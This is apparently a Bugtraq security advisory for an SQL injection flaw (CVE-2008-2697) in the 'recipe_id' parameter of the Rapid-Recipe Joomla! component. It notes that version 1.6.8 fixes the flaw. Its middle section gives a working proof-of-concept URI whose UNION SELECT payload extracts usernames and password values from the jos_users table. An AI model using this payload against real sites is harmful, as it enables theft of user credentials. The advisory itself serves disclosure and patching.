Rapid-Source Rapid-Recipe Joomla! Component 'recipe_id' Parameter SQL Injection Vulnerability

Bugtraq ID:	29593
Class:	Input Validation Error
CVE:	CVE-2008-2697
Remote:	Yes
Local:	No
Published:	Jun 08 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	His0k4
Vulnerable:	Rapid-Source Rapid-Recipe 1.6.7 Rapid-Source Rapid-Recipe J-1.5
Not Vulnerable:	Rapid-Source Rapid-Recipe 1.6.8

Rapid-Source Rapid-Recipe Joomla! Component 'recipe_id' Parameter SQL Injection Vulnerability

The Rapid-Recipe component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Rapid-Source Rapid-Recipe Joomla! Component 'recipe_id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/[Joomla_Path]/index.php?option=com_rapidrecipe&page=viewrecipe&recipe_id=-1 UNIONSELECTuser(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

Rapid-Source Rapid-Recipe Joomla! Component 'recipe_id' Parameter SQL Injection Vulnerability

Solution:
The vendor released Rapid-Recipe 1.6.8 to address this issue. Please see the references for more information.

Rapid-Source Rapid-Recipe Joomla! Component 'recipe_id' Parameter SQL Injection Vulnerability

References:

• Changelog (Rapid-Source)
  
• Rapid Recipe Up Date Instructions (Rapid-Source)
  
• Rapid-Recipe Homepage (Rapid-Source)